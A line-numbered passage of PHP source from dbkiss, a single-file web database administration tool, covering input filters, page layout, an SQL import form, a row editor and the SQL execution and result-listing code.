2875 <table width="100%" ondblclick="document.getElementById('flash').style.display='none';"><tr>
2876 <td style="line-height: 14px;"><?php echo $flash_error ? $flash_error : ($flash_ok ? $flash_ok : $flash_notify); ?></td></tr></table>
2877 </div>
2878
2879 <?php
2880 $cont = ob_get_contents();
2881 ob_end_clean();
2882
2883 if ($flash_error) cookie_del('flash_error');
2884 else if ($flash_ok) cookie_del('flash_ok');
2885 else if ($flash_notify) cookie_del('flash_notify');
2886
2887 $is_style = true;
2888
2889 return $cont;
2890}
2891function filter($post, $filters)
2892{
2893 if (is_string($filters))
2894 {
2895 $filter = $filters;
2896 $func = 'filter_'.$filter;
2897 foreach ($post as $key => $val) {
2898 $post[$key] = call_user_func($func, $post[$key]);
2899 }
2900 return $post;
2901 }
2902 foreach ($filters as $key => $filter)
2903 {
2904 if (!array_key_exists($key, $post)) {
2905 return trigger_error(sprintf('filter() failed. Key missing = %s.', $key), E_USER_ERROR);
2906 }
2907 $func = 'filter_'.$filter;
2908 if (!function_exists($func)) {
2909 return trigger_error(sprintf('filter() failed. Filter missing = %s.', $func), E_USER_ERROR);
2910 }
2911 $post[$key] = call_user_func($func, $post[$key]);
2912 }
2913 return $post;
2914}
2915function filter_html($s)
2916{
2917 if (req_gpc_has($s)) {
2918 $s = html_tags_undo($s);
2919 }
2920 return html(trim($s));
2921}
2922function filter_allow_tags($s, $allow)
2923{
2924 if (req_gpc_has($s)) {
2925 $s = html_tags_undo($s);
2926 }
2927 return html_allow_tags($s, $allow);
2928}
2929function filter_allow_html($s)
2930{
2931 global $SafeHtml;
2932 if (!isset($SafeHtml)) {
2933 include_once 'inc/SafeHtml.php';
2934 }
2935 if (req_gpc_has($s)) {
2936 $s = html_tags_undo($s);
2937 }
2938 if (in_array(trim(strtolower($s)), array('<br>', '<p> </p>'))) {
2939 return '';
2940 }
2941 $SafeHtml->clear();
2942 $s = $SafeHtml->parse($s);
2943 return trim($s);
2944}
2945function filter_allow_html_script($s)
2946{
2947 if (in_array(trim(strtolower($s)), array('<br>', '<p> </p>'))) {
2948 return '';
2949 }
2950 if (req_gpc_has($s)) {
2951 $s = html_tags_undo($s);
2952 }
2953 return trim($s);
2954}
2955function filter_editor($s)
2956{
2957 return filter_allow_html($s);
2958}
2959function date_now()
2960{
2961 return date('Y-m-d H:i:s');
2962}
2963function guess_pk($rows)
2964{
2965 if (!count($rows)) {
2966 return false;
2967 }
2968 $patterns = array('#^\d+$#', '#^[^\s]+$#');
2969 $row = array_first($rows);
2970 foreach ($patterns as $pattern)
2971 {
2972 foreach ($row as $col => $v) {
2973 if ($v && preg_match($pattern, $v)) {
2974 if (array_col_match_unique($rows, $col, $pattern)) {
2975 return $col;
2976 }
2977 }
2978 }
2979 }
2980 return false;
2981}
2982function layout_start($title='')
2983{
2984 global $page_charset;
2985 $flash = flash();
2986 ?>
2987
2988 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
2989 <html>
2990 <head>
2991 <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $page_charset;?>">
2992 <title><?php echo $title;?></title>
2993 <link rel="shortcut icon" href="<?php echo $_SERVER['PHP_SELF']; ?>?dbkiss_favicon=1">
2994 <script>
2995 function $(id)
2996 {
2997 if (typeof id == 'string') return document.getElementById(id);
2998 return id;
2999 }
3000 </script>
3001 </head>
3002 <body>
3003
3004 <?php layout(); ?>
3005
3006 <?php if ($flash) { echo $flash; } ?>
3007
3008 <?php
3009}
3010function layout_end()
3011{
3012 ?>
3013 <?php powered_by(); ?>
3014 </body>
3015 </html>
3016 <?php
3017}
3018function powered_by()
3019{
3020 ?>
3021 <script>
3022 function link_noreferer(link)
3023 {
3024 // Tested: Chrome, Firefox, Inetrnet Explorer, Opera.
3025 var w = window.open("about:blank", "_blank");
3026 w.document.open();
3027 w.document.write("<"+"!doctype html>");
3028 w.document.write("<"+"html><"+"head>");
3029 w.document.write("<"+"title>Secure redirection - no referer</title>");
3030 w.document.write("<"+"style>body { font: 11px Tahoma; }<"+"/style>");
3031 w.document.write("<"+"meta http-equiv=refresh content='10;url="+link+"'>");
3032 // Meta.setAttribute() doesn't work on firefox.
3033 // Firefox: needs document.write('<meta>')
3034 // IE: the firefox workaround doesn't work on ie, but we can use a normal redirection
3035 // as IE is already not sending the referer because it does not do it when using
3036 // open.window, besides the blank url in address bar works fine (about:blank).
3037 // Opera: firefox fix works.
3038 w.document.write("<"+"script>function redirect() { if (navigator.userAgent.indexOf('MSIE') != -1) { location.replace('"+link+"'); } else { document.open(); document.write('<"+"meta http-equiv=refresh content=\"0;"+link+"\">'); document.close(); } }<"+"/script>");
3039 w.document.write("<"+"/head><"+"body>");
3040 w.document.write("<"+"h1>Secure redirection - no referer<"+"/h1>");
3041 w.document.write("<"+"p>This is a secure redirection that hides the HTTP REFERER header - using javascript and meta refresh combination.");
3042 w.document.write("<br>The site you are being redirected will not know the location of the dbkiss script on your site.<"+"/p>");
3043 w.document.write("<"+"p>In a few seconds you will be redirected or you can click the link (also secure): <"+"a href='javascript:void(0)' onclick='redirect()'>"+link+"<"+"/a><"+"/p>");
3044 w.document.write("<"+"/body><"+"/html>");
3045 w.document.close();
3046 }
3047 </script>
3048 <div style="text-align: center; margin-top: 2em; border-top: #ccc 1px solid; padding-top: 0.5em;">Powered by <a href="javascript:void(0)" onclick="link_noreferer('http://www.gosu.pl/dbkiss/')">dbkiss</a></div>
3049 <?php
3050}
3051
3052?>
3053<?php if (get('import')): ?>
3054
3055 <?php
3056
3057 // ----------------------------------------------------------------
3058 // IMPORT
3059 // ----------------------------------------------------------------
3060
3061 ?>
3062
3063 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
3064 <html>
3065 <head>
3066 <meta http-equiv="Content-Type" content="text/html; charset=<?php echo $page_charset;?>">
3067 <title><?php echo $db_name_h1?$db_name_h1:$db_name;?> > Import</title>
3068 <link rel="shortcut icon" href="<?php echo $_SERVER['PHP_SELF']; ?>?dbkiss_favicon=1">
3069 </head>
3070 <body>
3071
3072 <?php layout(); ?>
3073 <h1><a class=blue style="<?php echo $db_name_style;?>" href="<?php echo $_SERVER['PHP_SELF'];?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></a> > Import</h1>
3074 <?php conn_info(); ?>
3075
3076 <?php $files = sql_files(); ?>
3077
3078 <?php if (count($files)): ?>
3079 <form action="<?php echo $_SERVER['PHP_SELF'];?>" method="post">
3080 <table class="none" cellspacing="0" cellpadding="0">
3081 <tr>
3082 <td>SQL file:</th>
3083 <td><select name="sqlfile"><option value="" selected="selected"></option><?php echo options($files);?></select></td>
3084 <td><input type="checkbox" name="ignore_errors" id="ignore_errors" value="1"></td>
3085 <td><label for="ignore_errors">ignore errors</label></td>
3086 <td><input type="checkbox" name="transaction" id="transaction" value="1"></td>
3087 <td><label for="transaction">transaction</label></td>
3088 <td><input type="checkbox" name="force_myisam" id="force_myisam" value="1"></td>
3089 <td><label for="force_myisam">force myisam</label></td>
3090 <td><input type="text" size="5" name="query_start" value=""></td>
3091 <td>query start</td>
3092 <td><input type="submit" value="Import"></td>
3093 </tr>
3094 </table>
3095 </form>
3096 <br>
3097 <?php else: ?>
3098 No sql files found in current directory.
3099 <?php endif; ?>
3100
3101 <?php powered_by(); ?>
3102
3103 </body></html>
3104
3105<?php exit; endif; ?>
3106<?php if ('editrow' == get('action')): ?>
3107<?php
3108 function dbkiss_filter_id($id)
3109 {
3110 if (preg_match('#^[_a-z][a-z0-9_\-]*$#i', $id)) {
3111 return $id;
3112 }
3113 return false;
3114 }
3115
3116 $get = get(array(
3117 'table' => 'string',
3118 'pk' => 'string',
3119 'id' => 'string'
3120 ));
3121
3122 $get['table'] = html_once($get['table']);
3123 $get['pk'] = html_once($get['pk']);
3124
3125 $title_edit = sprintf('Edit row (%s=%s)', $get['pk'], $get['id']);
3126 $title = ' > '.$get['table'].' > '.$title_edit;
3127
3128 if (!dbkiss_filter_id($get['table'])) {
3129 error('Invalid table name');
3130 }
3131 if (!dbkiss_filter_id($get['pk'])) {
3132 error('Invalid pk');
3133 }
3134
3135 $row = false;
3136
3137 if (!error())
3138 {
3139 $table_enq = quote_table($get['table']);
3140 $test = db_row("SELECT * FROM $table_enq");
3141 if ($test) {
3142 if (!array_key_exists($get['pk'], $test)) {
3143 error('Invalid pk');
3144 }
3145 }
3146 if (!error())
3147 {
3148 $table_enq = quote_table($get['table']);
3149 $query = db_bind("SELECT * FROM $table_enq WHERE {$get['pk']} = %0", $get['id']);
3150 $query = db_limit($query, 0, 2);
3151 $rows = db_list($query);
3152 if (count($rows) > 1) {
3153 error('Invalid pk: found more than one row with given id');
3154 } else if (count($rows) == 0) {
3155 error('Row not found');
3156 } else {
3157 $row = $rows[0];
3158 $row_id = $row[$get['pk']];
3159 }
3160 }
3161 }
3162
3163 if ($row) {
3164 $types = table_types2($get['table']);
3165 }
3166
3167 $edit_actions_assoc = array(
3168 'update' => 'Update',
3169 'update_pk' => 'Overwrite pk',
3170 'insert' => 'Copy row (insert)',
3171 'delete' => 'Delete'
3172 );
3173
3174 $edit_action = post('dbkiss_action');
3175
3176 if ($_ENV['IS_GET'])
3177 {
3178 $edit_action = array_first_key($edit_actions_assoc);
3179 $post = $row;
3180 }
3181
3182 if ($_ENV['IS_POST'])
3183 {
3184 if (!array_key_exists($edit_action, $edit_actions_assoc)) {
3185 $edit_action = '';
3186 error('Invalid action');
3187 }
3188
3189 $post = array();
3190 foreach ($row as $k => $v) {
3191 if (array_key_exists($k, $_POST)) {
3192 $val = (string) $_POST[$k];
3193 if ('null' == $val) {
3194 $val = null;
3195 }
3196 if ('int' == $types[$k]) {
3197 if (!strlen($val)) {
3198 $val = null;
3199 }
3200 if (!(preg_match('#^-?\d+$#', $val) || is_null($val))) {
3201 error('%s: invalid value', $k);
3202 }
3203 }
3204 if ('float' == $types[$k]) {
3205 if (!strlen($val)) {
3206 $val = null;
3207 }
3208 $val = str_replace(',', '.', $val);
3209 if (!(is_numeric($val) || is_null($val))) {
3210 error('%s: invalid value', $k);
3211 }
3212 }
3213 if ('time' == $types[$k]) {
3214 if (!strlen($val)) {
3215 $val = null;
3216 }
3217 if ('now' == $val) {
3218 $val = date_now();
3219 }
3220 }
3221 $post[$k] = $val;
3222 } else {
3223 error('Missing key: %s in POST', $k);
3224 }
3225 }
3226
3227 if ('update' == $edit_action)
3228 {
3229 if ($post[$get['pk']] != $row[$get['pk']]) {
3230 if (count($row) != 1) { // Case: more than 1 column
3231 error('%s: cannot change pk on UPDATE', $get['pk']);
3232 }
3233 }
3234 }
3235 if ('update_pk' == $edit_action)
3236 {
3237 if ($post[$get['pk']] == $row[$get['pk']]) {
3238 error('%s: selected action Overwrite pk, but pk value has not changed', $get['pk']);
3239 }
3240 }
3241 if ('insert' == $edit_action)
3242 {
3243 if (strlen($post[$get['pk']])) {
3244 $table_enq = quote_table($get['table']);
3245 $test = db_row("SELECT * FROM $table_enq WHERE {$get['pk']} = %0", array($post[$get['pk']]));
3246 if ($test) {
3247 error('%s: there is already a record with that id', $get['pk']);
3248 }
3249 }
3250 }
3251
3252 if (!error())
3253 {
3254 $post2 = $post;
3255 if ('update' == $edit_action)
3256 {
3257 if (count($row) != 1) { // Case: more than 1 column
3258 unset($post2[$get['pk']]);
3259 }
3260 db_update($get['table'], $post2, array($get['pk'] => $row_id));
3261 if (db_error()) {
3262 error('<font color="red"><b>DB error</b></font>: '.db_error());
3263 } else {
3264 if (count($row) == 1) { // Case: only 1 column
3265 redirect_ok(url(self(), array('id'=>$post[$get['pk']])), 'Row updated');
3266 } else {
3267 redirect_ok(self(), 'Row updated');
3268 }
3269 }
3270 }
3271 if ('update_pk' == $edit_action)
3272 {
3273 @db_update($get['table'], $post2, array($get['pk'] => $row_id));
3274 if (db_error()) {
3275 error('<font color="red"><b>DB error</b></font>: '.db_error());
3276 } else {
3277 $url = url(self(), array('id' => $post[$get['pk']]));
3278 redirect_ok($url, 'Row updated (pk overwritten)');
3279 }
3280 }
3281 if ('insert' == $edit_action)
3282 {
3283 $new_id = false;
3284 if (!strlen($post2[$get['pk']])) {
3285 unset($post2[$get['pk']]);
3286 } else {
3287 $new_id = $post2[$get['pk']];
3288 }
3289 @db_insert($get['table'], $post2);
3290 if (db_error()) {
3291 error('<font color="red"><b>DB error</b></font>: '.db_error());
3292 } else {
3293 if (!$new_id) {
3294 $new_id = db_insert_id($get['table'], $get['pk']);
3295 }
3296 $url = url(self(), array('id'=>$new_id));
3297 $msg = sprintf('Row inserted (%s=%s)', $get['pk'], $new_id);
3298 redirect_ok($url, $msg);
3299 }
3300 }
3301 if ('delete' == $edit_action)
3302 {
3303 $table_enq = quote_table($get['table']);
3304 @db_exe("DELETE FROM $table_enq WHERE {$get['pk']} = %0", $get['id']);
3305 if (db_error()) {
3306 error('<font color="red"><b>DB error</b></font>: '.db_error());
3307 } else {
3308 redirect_ok(self(), 'Row deleted');
3309 }
3310 }
3311 }
3312 }
3313
3314 ?>
3315<?php layout_start($title_edit); ?>
3316 <h1><span style="<?php echo $db_name_style;?>"><?php echo $db_name_h1?$db_name_h1:$db_name;?></span><?php echo $title;?></h1>
3317
3318 <?php echo error();?>
3319
3320 <?php if ($row): ?>
3321
3322 <form action="<?php echo self();?>" method="post">
3323
3324 <?php echo radio_assoc($edit_action, $edit_actions_assoc, 'dbkiss_action');?></td>
3325 <br>
3326
3327 <table cellspacing="1" class="ls ls2">
3328 <?php foreach ($post as $k => $v): if (is_null($v)) { $v = 'null'; } $v = htmlspecialchars($v); ?>
3329 <tr>
3330 <th><?php echo $k;?>:</th>
3331 <td>
3332 <?php if ('int' == $types[$k]): ?>
3333 <input type="text" name="<?php echo $k;?>" value="<?php echo html_once($v);?>" size="11">
3334 <?php elseif ('char' == $types[$k]): ?>
3335 <input type="text" name="<?php echo $k;?>" value="<?php echo html_once($v);?>" size="50">
3336 <?php elseif (in_array($types[$k], array('text', 'mediumtext', 'longtext')) || str_has($types[$k], 'blob')): ?>
3337 <textarea name="<?php echo $k;?>" cols="80" rows="<?php echo $k=='notes'?10:10;?>"><?php echo html_once($v);?></textarea>
3338 <?php else: ?>
3339 <input type="text" name="<?php echo $k;?>" value="<?php echo html_once($v);?>" size="30">
3340 <?php endif; ?>
3341 </td>
3342 <td valign="top"><?php echo $types[$k];?></td>
3343 </tr>
3344 <?php endforeach; ?>
3345 <tr>
3346 <td colspan="3" class="none">
3347 <input type="submit" wait="1" block="1" class="button" value="Edit">
3348 </td>
3349 </tr>
3350 </table>
3351
3352 </form>
3353
3354 <?php endif; ?>
3355
3356 <?php layout_end(); ?>
3357
3358<?php exit; endif; ?>
3359<?php if (isset($_GET['execute_sql']) && $_GET['execute_sql']): ?>
3360<?php
3361
3362function listing($base_query, $md5_get = false)
3363{
3364 global $db_driver, $db_link;
3365
3366 $md5_i = false;
3367 if ($md5_get) {
3368 preg_match('#_(\d+)$#', $md5_get, $match);
3369 $md5_i = $match[1];
3370 }
3371
3372 $base_query = trim($base_query);
3373 $base_query = str_cut_end($base_query, ';');
3374
3375 $query = $base_query;
3376 $ret = array('msg'=>'', 'error'=>'', 'data_html'=>false);
3377 $limit = 25;
3378 $offset = get('offset','int');
3379 $page = floor($offset / $limit + 1);
3380
3381 if ($query) {
3382 if (is_select($query) && !preg_match('#\s+LIMIT\s+\d+#i', $query) && !preg_match('#into\s+outfile\s+#', $query)) {
3383 $query = db_limit($query, $offset, $limit);
3384 } else {
3385 $limit = false;
3386 }
3387 $time = time_start();
3388 if (!db_is_safe($query, true)) {
3389 $ret['error'] = 'Detected UPDATE/DELETE without WHERE condition (put WHERE 1=1 if you want to execute this query)';
3390 return $ret;
3391 }
3392 $rs = @db_query($query);
3393 if ($rs) {
3394 if ($rs === true) {
3395 if ('mysql' == $db_driver)
3396 {
3397 $affected = mysql_affected_rows($db_link);
3398 $time = time_end($time);
3399 $ret['data_html'] = '<b>'.$affected.'</b> rows affected.<br>Time: <b>'.$time.'</b> sec';
3400 return $ret;
3401 }
3402 } else {
3403 if ('pgsql' == $db_driver)
3404 {
3405 $affected = @pg_affected_rows($rs);
3406 if ($affected || preg_match('#^\s*(DELETE|UPDATE)\s+#i', $query)) {
3407 $time = time_end($time);
3408 $ret['data_html'] = '<p><b>'.$affected.'</b> rows affected. Time: <b>'.$time.'</b> sec</p>';
3409 return $ret;
3410 }
3411 }
3412 }
3413
3414 $rows = array();
3415 while ($row = db_row($rs)) {
3416 $rows[] = $row;
3417 if ($limit) {
3418 if (count($rows) == $limit) { break; }
3419 }
3420 }
3421 db_free($rs);
3422
3423 if (is_select($base_query)) {
3424 $found = @db_one("SELECT COUNT(*) FROM ($base_query) AS sub");
3425 if (!is_numeric($found) || (count($rows) && !$found)) {
3426 global $COUNT_ERROR;
3427 $COUNT_ERROR = ' (COUNT ERROR) ';
3428 $found = count($rows);
3429 }
3430 } else {
3431 if (count($rows)) {
3432 $found = count($rows);
3433 } else {
3434 $found = false;
3435 }
3436 }
3437 if ($limit) {
3438 $pages = ceil($found / $limit);
3439 } else {
3440 $pages = 1;
3441 }
3442 $time = time_end($time);
3443
3444 } else {
3445 $ret['error'] = db_error();
3446 return $ret;
3447 }
3448 } else {
3449 $ret['error'] = 'No query found.';
3450 return $ret;
3451 }
3452
3453 ob_start();
3454?>
3455 <?php if (is_numeric($found)): ?>
3456 <p>
3457 Found: <b><?php echo $found;?></b><?php echo isset($GLOBALS['COUNT_ERROR'])?$GLOBALS['COUNT_ERROR']:'';?>.
3458 Time: <b><?php echo $time;?></b> sec.
3459 <?php
3460 $params = array('md5'=>$md5_get, 'offset'=>get('offset','int'));
3461 if (get('only_marked') || post('only_marked')) { $params['only_marked'] = 1; }
3462 if (get('only_select') || post('only_select')) { $params['only_select'] = 1; }
3463 ?>
3464 / <a href="<?php echo url(self(), $params);?>">Refetch</a>
3465 / Export to CSV:
3466
3467 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode('|');?>&query=<?php echo base64_encode($base_query); ?>">pipe</a>
3468 -
3469 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode("\t");?>&query=<?php echo base64_encode($base_query); ?>">tab</a>
3470 -
3471 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode(',');?>&query=<?php echo base64_encode($base_query); ?>">comma</a>
3472 -
3473 <a href="<?php echo $_SERVER['PHP_SELF']; ?>?export=csv&separator=<?php echo urlencode(';');?>&query=<?php echo base64_encode($base_query); ?>">semicolon</a>
3474 </p>
3475 <?php else: ?>
3476 <p>Result: <b>OK</b>. Time: <b><?php echo $time;?></b> sec</p>
3477 <?php endif; ?>
3478
3479 <?php if (is_numeric($found)): ?>
3480
3481 <?php if ($pages > 1): ?>
3482 <p>
3483 <?php if ($page > 1): ?>
3484 <?php $ofs = ($page-1)*$limit-$limit; ?>
3485 <?php
3486 $params = array('md5'=>$md5_get, 'offset'=>$ofs);
3487 if (get('only_marked') || post('only_marked')) { $params['only_marked'] = 1; }
3488 if (get('only_select') || post('only_select')) { $params['only_select'] = 1; }
3489 ?>
3490 <a href="<?php echo url(self(), $params);?>"><< Prev</a>
3491 <?php endif; ?>
3492 Page <b><?php echo $page;?></b> of <b><?php echo $pages;?></b>
3493 <?php if ($pages > $page): ?>
3494 <?php $ofs = $page*$limit; ?>
3495 <?php
3496 $params = array('md5'=>$md5_get, 'offset'=>$ofs);
3497 if (get('only_marked') || post('only_marked')) { $params['only_marked'] = 1; }
3498 if (get('only_select') || post('only_select')) { $params['only_select'] = 1; }
3499 ?>
3500 <a href="<?php echo url(self(), $params);?>">Next >></a>
3501 <?php endif; ?>
3502 </p>
3503 <?php endif; ?>
3504
3505 <script>
3506 function mark_row(tr)
3507 {
3508 var els = tr.getElementsByTagName('td');
3509 if (tr.marked) {
3510 for (var i = 0; i < els.length; i++) {
3511 els[i].style.backgroundColor = '';
3512 }
3513 tr.marked = false;
3514 } else {
3515 tr.marked = true;
3516 for (var i = 0; i < els.length; i++) {
3517 els[i].style.backgroundColor = '#ddd';
3518 }
3519 }
3520 }
3521 </script>
3522
3523 <?php if ($found): ?>
3524
3525 <?php
3526 $edit_table = table_from_query($base_query);
3527 if ($edit_table) {
3528 $edit_pk = array_first_key($rows[0]);
3529 if (is_numeric($edit_pk)) { $edit_table = false; }
3530 }
3531 if ($edit_table) {
3532 $types = table_types2($edit_table);
3533 if ($types && count($types)) {
3534 if (in_array($edit_pk, array_keys($types))) {
3535 if (!array_col_match_unique($rows, $edit_pk, '#^\d+$#')) {
3536 $edit_pk = guess_pk($rows);
3537 if (!$edit_pk) {
3538 $edit_table = false;
3539 }
3540 }
3541 } else {
3542 $edit_table = false;
3543 }
3544 } else {
3545 $edit_table = false;
3546 }
3547 }
3548 $edit_url = '';
3549 if ($edit_table) {
3550 $edit_url = url(self(true), array('action'=>'editrow', 'table'=>$edit_table, 'pk'=>$edit_pk, 'id'=>'%s'));
3551 }
3552 ?>
3553
3554 <table class="ls" cellspacing="1">
3555 <tr>
3556 <?php if ($edit_url): ?><th>#</th><?php endif; ?>
3557 <?php foreach ($rows[0] as $col => $v): ?>
3558 <th><?php echo $col;?></th>
3559 <?php endforeach; ?>
3560 </tr>
3561 <?php foreach ($rows as $row): ?>
3562 <tr ondblclick="mark_row(this)">
3563 <?php if ($edit_url): ?>
3564 <td><a href="javascript:void(0)" onclick="popup('<?php echo sprintf($edit_url, $row[$edit_pk]);?>', 620, 500)">Edit</a> </td>
3565 <?php endif; ?>
3566 <?php
3567 $count_cols = 0;
3568 foreach ($row as $v) { $count_cols++; }
3569 ?>
3570 <?php foreach ($row as $k => $v): ?>
3571 <?php
3572 if (preg_match('#^\s*<a[^>]+>[^<]+</a>\s*$#iU', $v) && strlen(strip_tags($v)) < 50) {
3573 $v = strip_tags($v, '<a>');
3574 } else {
3575 $v = strip_tags($v);
3576 $v = str_replace(' ', ' ', $v);
3577 $v = preg_replace('#[ ]+#', ' ', $v);
3578 if (!get('full_content') && strlen($v) > 50) {
3579 if (1 == $count_cols) {
3580 $v = str_truncate($v, 255);
3581 } else {
3582 $v = str_truncate($v, 50);
3583 }
3584 }
3585 $v = html_once($v);
3586 }
3587 $nl2br = get('nl2br');
3588 if (get('full_content')) {
3589 $v = str_wrap($v, 80, '<br>');
3590 }
3591 if (get('nl2br')) {
3592 $v = nl2br($v);
3593 }
3594 //$v = stripslashes(stripslashes($v));
3595 if (@$types[$k] == 'int' && (preg_match('#time#i', $k) || preg_match('#date#i', $k))
3596 && preg_match('#^\d+$#', $v))
3597 {
3598 $tmp = @date('Y-m-d H:i', $v);
3599 if ($tmp) {
3600 $v = $tmp;
3601 }
3602 }
3603 global $post;
3604 if (str_has($post['sql'], '@gethostbyaddr') && (preg_match('#^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$#', $v))) {
3605 $v = $v.'<br>'.@gethostbyaddr($v);
3606 }
3607 ?>
3608 <td onclick="mark_col(this)" <?php echo $nl2br?'valign="top"':'';?> nowrap><?php echo is_null($row[$k])?'-':$v;?></td>
3609 <?php endforeach; ?>
3610 </tr>
3611 <?php endforeach; ?>
3612 </table>
3613
3614 <?php endif; ?>
3615
3616 <?php if ($pages > 1): ?>
3617 <p>
3618 <?php if ($page > 1): ?>
3619 <?php $ofs = ($page-1)*$limit-$limit; ?>
3620 <?php
3621 $params = array('md5'=>$md5_get, 'offset'=>$ofs);
3622 if (get('only_marked') || post('only_marked')) { $params['only_marked'] = 1; }
3623 if (get('only_select') || post('only_select')) { $params['only_select'] = 1; }
3624 ?>
3625 <a href="<?php echo url(self(), $params);?>"><< Prev</a>
3626 <?php endif; ?>
3627 Page <b><?php echo $page;?></b> of <b><?php echo $pages;?></b>
3628 <?php if ($pages > $page): ?>
3629 <?php $ofs = $page*$limit; ?>
3630 <?php
3631 $params = array('md5'=>$md5_get, 'offset'=>$ofs);
3632 if (get('only_marked') || post('only_marked')) { $params['only_marked'] = 1; }
3633 if (get('only_select') || post('only_select')) { $params['only_select'] = 1; }
3634 ?>
3635 <a href="<?php echo url(self(), $params);?>">Next >></a>
3636 <?php endif; ?>
3637 </p>
3638 <?php endif; ?>
3639
3640 <?php endif; ?>
3641
3642<?php
3643 $cont = ob_get_contents();
3644 ob_end_clean();
3645 $ret['data_html'] = $cont;
3646 return $ret;
3647}
3648
3649?>
3650<?php
3651
3652 // ----------------------------------------------------------------
3653 // EXECUTE SQL
3654 // ----------------------------------------------------------------
3655
3656 set_time_limit(0);
3657
3658 $template = get('template');
3659 $msg = '';
3660 $error = '';
3661 $top_html = '';
3662 $data_html = '';
3663
3664 $get = get(array(
3665 'popup'=> 'int',
3666 'md5' => 'string',
3667 'only_marked' => 'bool',
3668 'only_select' => 'bool'
3669 ));
3670 $post = post(array(
3671 'sql' => 'string',
3672 'perform' => 'string',
3673 'only_marked' => 'bool',
3674 'only_select' => 'bool',
3675 'save_as' => 'string',
3676 'load_from' => 'string'
3677 ));
3678
3679 if ($get['md5']) {
3680 $get['only_select'] = true;
3681 $post['only_select'] = true;
3682 }
3683
3684 if ($get['only_marked']) { $post['only_marked'] = 1; }
3685 if ($get['only_select']) { $post['only_select'] = 1; }
3686
3687 $sql_dir = false;
3688 if (defined('DBKISS_SQL_DIR')) {
3689 $sql_dir = DBKISS_SQL_DIR;
3690 }
3691
3692 if ($sql_dir) {
3693 if (!(dir_exists($sql_dir) && is_writable($sql_dir))) {
3694 if (!dir_exists($sql_dir) && is_writable('.')) {
3695 mkdir($sql_dir);
3696 } else {
3697 exit('You must create "'.$sql_dir.'" directory with write permission.');
3698 }
3699 }
3700 if (!file_exists($sql_dir.'/.htaccess')) {
3701 file_put($sql_dir.'/.htaccess', 'deny from all');
3702 }
3703 if (!file_exists($sql_dir.'/index.html')) {
3704 file_put($sql_dir.'/index.html', '');
3705 }
3706 }
3707
3708 if ('GET' == $_SERVER['REQUEST_METHOD']) {
3709 if ($sql_dir)
3710 {
3711 if ($get['md5'] && preg_match('#^(\w{32,32})_(\d+)$#', $get['md5'], $match)) {
3712 $md5_i = $match[2];
3713 $md5_tmp = sprintf($sql_dir.'/zzz_%s.dat', $match[1]);
3714 $post['sql'] = file_get($md5_tmp);
3715 $_SERVER['REQUEST_METHOD'] = 'POST';
3716 $post['perform'] = 'execute';
3717 } else if ($get['md5'] && preg_match('#^(\w{32,32})$#', $get['md5'], $match)) {
3718 $md5_tmp = sprintf($sql_dir.'/zzz_%s.dat', $match[1]);
3719 $post['sql'] = file_get($md5_tmp);
3720 $get['md5'] = '';
3721 } else {
3722 if ($get['md5']) {
3723 trigger_error('invalid md5', E_USER_ERROR);
3724 }
3725 }
3726 }
3727 } else {
3728 $get['md5'] = '';
3729 }
3730
3731 if (str_has($post['sql'], '@nl2br')) {
3732 $_GET['nl2br'] = 1;
3733 }
3734 if (str_has($post['sql'], '@full_content')) {
3735 $_GET['full_content'] = 1;
3736 }
3737
3738 $post['sql'] = trim($post['sql']);
3739 $md5 = md5($post['sql']);
3740 $md5_file = sprintf($sql_dir.'/zzz_%s.dat', $md5);
3741 if ($sql_dir && $post['sql']) {
3742 file_put($md5_file, $post['sql']);
3743 }
3744
3745 if ($sql_dir && 'save' == $post['perform'] && $post['save_as'] && $post['sql'])
3746 {
3747 $post['save_as'] = str_replace('.sql', '', $post['save_as']);
3748 if (preg_match('#^[\w ]+$#', $post['save_as'])) {
3749 $file = $sql_dir.'/'.$post['save_as'].'.sql';
3750 $overwrite = '';
3751 if (file_exists($file)) {
3752 $overwrite = ' - <b>overwritten</b>';
3753 $bak = $sql_dir.'/zzz_'.$post['save_as'].'_'.md5(file_get($file)).'.dat';
3754 copy($file, $bak);
3755 }
3756 $msg .= sprintf('<div>Sql saved: %s %s</div>', basename($file), $overwrite);
3757 file_put($file, $post['sql']);
3758 } else {
3759 error('Saving sql failed: only alphanumeric chars are allowed');
3760 }
3761 }
3762
3763 if ($sql_dir) {
3764 $load_files = dir_read($sql_dir, null, array('.sql'), 'date_desc');
3765 }
3766 $load_assoc = array();
3767 if ($sql_dir) {
3768 foreach ($load_files as $file) {
3769 $file_path = $file;
3770 $file = basename($file);
3771 $load_assoc[$file] = '('.substr(file_date($file_path), 0, 10).')'.' ' .$file;
3772 }
3773 }
3774
3775 if ($sql_dir && 'load' == $post['perform'])
3776 {
3777 $file = $sql_dir.'/'.$post['load_from'];
3778 if (array_key_exists($post['load_from'], $load_assoc) && file_exists($file)) {
3779 $msg .= sprintf('<div>Sql loaded: %s (%s)</div>', basename($file), timestamp(file_date($file)));
3780 $post['sql'] = file_get($file);
3781 $post['save_as'] = basename($file);
3782 $post['save_as'] = str_replace('.sql', '', $post['save_as']);
3783 } else {
3784 error('<div>File not found: %s</div>', $file);
3785 }
3786 }
3787
3788 // after load - md5 may change
3789 $md5 = md5($post['sql']);
3790
3791 if ($sql_dir && 'load' == $post['perform'] && !error()) {
3792 $md5_tmp = sprintf($sql_dir.'/zzz_%s.dat', $md5);
3793 file_put($md5_tmp, $post['sql']);
3794 }
3795
3796 $is_sel = false;
3797
3798 $queries = preg_split("#;(\s*--[ \t\S]*)?(\r\n|\n|\r)#U", $post['sql']);
3799 foreach ($queries as $k => $query) {
3800 $query = query_strip($query);
3801 if (str_starts_with($query, '@')) {
3802 $is_sel = true;
3803 }
3804 $queries[$k] = $query;
3805 if (!trim($query)) { unset($queries[$k]); }
3806 }
3807
3808 $sql_assoc = array();
3809 $sql_selected = false;
3810 $i = 0;
3811
3812 $params = array(
3813 'md5' => $md5,
3814 'only_marked' => $post['only_marked'],
